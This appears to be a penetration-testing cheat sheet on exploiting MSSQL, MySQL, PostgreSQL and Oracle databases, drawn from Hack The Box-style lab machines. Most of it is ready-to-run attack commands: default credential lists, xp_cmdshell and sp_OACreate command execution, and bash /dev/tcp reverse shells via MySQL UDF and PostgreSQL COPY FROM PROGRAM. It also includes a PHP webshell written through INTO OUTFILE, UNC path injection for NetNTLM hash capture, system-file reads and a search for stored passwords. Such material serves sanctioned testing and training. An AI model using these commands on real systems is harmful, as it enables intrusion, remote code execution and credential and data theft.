Back to All Modules

Database Exploitation

#Overview

Database services (MSSQL, MySQL, PostgreSQL, Oracle) are high-value targets that often contain credential material, sensitive business data, and provide code execution paths. Common exploitation vectors include default credentials, command execution via stored procedures, privilege escalation through user-defined functions, file read/write through database commands, and UNC path injection to capture NetNTLM hashes. Database connection strings discovered in configuration files or source code frequently yield access.

#Prerequisites

  • impacket-mssqlclient (for MSSQL)
  • mysql client, mysqldump
  • psql (PostgreSQL client)
  • sqlplus (Oracle client)
  • responder (for UNC hash capture)
  • SQL shell / database management tools

#Detection & Enumeration

nmap -p 1433,3306,5432,1521 -sV --script <db>-* <IP>     # Database service detection
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password <IP>
nmap -p 3306 --script mysql-empty-password,mysql-info <IP>
BASH

#MSSQL (Port 1433)

#Default Credentials

UsernamePassword
sa(blank)
sasa
sapassword
sql_svcvaries
PublicUserGuestUserCantWrite1

#Connect & Enumerate

impacket-mssqlclient <user>:<pass>@<IP>                  # Impacket client
impacket-mssqlclient PublicUser:GuestUserCantWrite1@sequel.htb

# MSSQL CLI commands:
SQL> SELECT @@version                                     # MSSQL version
SQL> SELECT name FROM master.dbo.sysdatabases             # List databases
SQL> SELECT table_name FROM information_schema.tables     # List tables
SQL> SELECT * FROM master.sys.server_principals           # List server logins
SQL> SELECT suser_sname()                                  # Current user
SQL> SELECT is_srvrolemember('sysadmin')                   # Check if sysadmin
BASH

#xp_cmdshell (Command Execution)

Must be sysadmin to enable and use:

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE

-- Execute command
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'powershell -e <base64_reverse_shell>'
SQL

#UNC Path Injection (Hash Capture)

If xp_cmdshell is disabled but the user can execute stored procedures, force authentication:

EXEC MASTER.sys.xp_dirtree '\\10.10.14.14\test', 1, 1    # List directory via UNC
EXEC xp_fileexist '\\10.10.14.14\test'                   # Check if file exists at UNC path
SQL

Start Responder first: responder -I tun0 -v

This technique was used in Escape to capture the sql_svc hash, which cracked to REGGIE1234ronnie.

#Linked Server Enumeration & Exploitation

SELECT * FROM sys.servers                               # Enumerate linked servers
EXEC sp_linkedservers                                    # Alternative enumeration

-- Execute query on linked server via OPENQUERY
SELECT * FROM OPENQUERY("LINKED_SERVER", 'SELECT @@version')
EXEC ('xp_cmdshell ''whoami''') AT "LINKED_SERVER"      # Command execution on linked server
SQL

#sp_OACreate (Alternative RCE)

EXEC sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
DECLARE @shell INT
EXEC sp_oacreate 'wscript.shell', @shell OUTPUT
EXEC sp_oamethod @shell, 'run', NULL, 'cmd.exe /c whoami'
SQL

#OpenRowSet File Read

SELECT * FROM OPENROWSET(BULK N'C:\users\administrator\desktop\root.txt', SINGLE_CLOB) AS Contents
SQL

#MySQL (Port 3306)

#Default Credentials

UsernamePassword
root(blank)
rootroot
rootpassword
adminadmin

#Connect

mysql -h <IP> -u root -p
mysql -h <IP> -u root --skip-ssl                       # If SSL required
BASH

#Enumeration

SHOW DATABASES;
USE <database>;
SHOW TABLES;
SELECT * FROM <table>;
SELECT LOAD_FILE('/etc/passwd');                       # Read file if FILE privilege
SELECT @@secure_file_priv;                              # Check write restrictions
SQL

#UDF (User Defined Function) Privilege Escalation

Requires MySQL running as root and FILE privilege:

# 1. Check if we can write to plugin dir
mysql> SELECT @@plugin_dir;

# 2. Use raptor_udf2 exploit
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

# 3. Upload via MySQL
mysql> SELECT hex(LOAD_FILE('/path/to/raptor_udf2.so')) INTO OUTFILE '/tmp/hex.txt';
# On attacker: decode and transfer, or use INSERT INTO to write binary

# 4. Create function
mysql> CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
mysql> SELECT do_system('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"');
BASH

#INTO OUTFILE Webshell

SELECT '<?php system($_REQUEST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
SQL

Restricted by secure_file_priv setting -- if it's set to a specific directory, only that directory is writable.


#PostgreSQL (Port 5432)

#Default Credentials

UsernamePassword
postgrespostgres
postgres(blank)
postgrespassword

#Connect

psql -h <IP> -U postgres
psql -h <IP> -U postgres -d template1
BASH

#COPY FROM PROGRAM (RCE)

Requires superuser privileges (PostgreSQL 9.3+):

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"';
SQL

#Large Object Import

SELECT lo_import('/etc/passwd');                        # Import file as large object
SELECT lo_import('C:\\windows\\win.ini');
SELECT lo_get(<oid>);                                    # Retrieve large object contents
SQL

#CREATE FUNCTION for RCE

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('id');
SQL

#ALTER USER Password

ALTER USER postgres PASSWORD 'new_password';             # Reset user password
SQL

#UDF Library Injection (Windows)

Upload a compiled shared library and create functions similar to MySQL UDF.


#Oracle (Port 1521)

#Default Credentials

UsernamePasswordRole
SYSTEMSYSTEMDBA
SYSCHANGE_ON_INSTALLDBA
SCOTTTIGERNormal user
DBSNMPDBSNMPMonitoring
OUTLNOUTLNProfile management

#Connect

sqlplus system/system@<IP>:1521/XE
sqlplus scott/tiger@<IP>:1521/orcl
BASH

#Privilege Escalation via Java Stored Procedures

-- Grant JAVA privileges
EXEC dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read');
SQL

#SYS.DAM (Data Access Monitor)

Oracle SYS.DAM packages may allow command execution through external procedures.


#Connection String Discovery

Search for database connection strings in configuration files:

grep -rni "connectionstring\|jdbc:\|sqlserver:\||Data Source=|Initial Catalog=|User ID=|Password=" /path/to/search/ 2>/dev/null
# Web configs: web.config, app.config, .env, database.yml, settings.py, config.php
find / -name "web.config" -o -name ".env" -o -name "database.yml" 2>/dev/null
BASH

#Common Pitfalls

  • Warning: xp_cmdshell requires sysadmin privilege -- verify with SELECT is_srvrolemember('sysadmin')
  • Warning: MySQL secure_file_priv may restrict INTO OUTFILE writes -- check before crafting webshell payloads
  • Warning: Linked server queries may use different credentials than the primary server -- enumerate trust direction
  • Warning: PostgreSQL COPY FROM PROGRAM may be blocked by SELinux or AppArmor

#OPSEC Considerations

  • Shield: xp_cmdshell enablement generates SQL Server logs and audit trails
  • Shield: UNC path injection generates SMB traffic to attacker IP that may alert network monitoring
  • Shield: Database authentication failures are logged and may trigger account lockout
  • Shield: File writes via INTO OUTFILE or COPY may trigger file integrity monitoring

#Post-Exploitation Value

  • Access to all stored data including PII, credentials, and business records
  • Command execution often occurs in the context of the database service account (potentially SYSTEM or root)
  • Linked servers enable cross-server lateral movement in enterprise environments
  • UNC path injection captures NetNTLM hashes of service accounts for cracking

#Cross-References

#Tool References

ToolLink
impackethttps://github.com/fortra/impacket
sqlcmd (MSSQL)Built-in / https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility
dbeaverhttps://dbeaver.io/

#Source Machines

  • Escape (Medium, AD) - MSSQL UNC hash capture + Silver Ticket abuse
  • Clicker (Medium, Linux) - MySQL SQL injection in game application
  • Usage (Easy, Linux) - MySQL SQL injection for credential extraction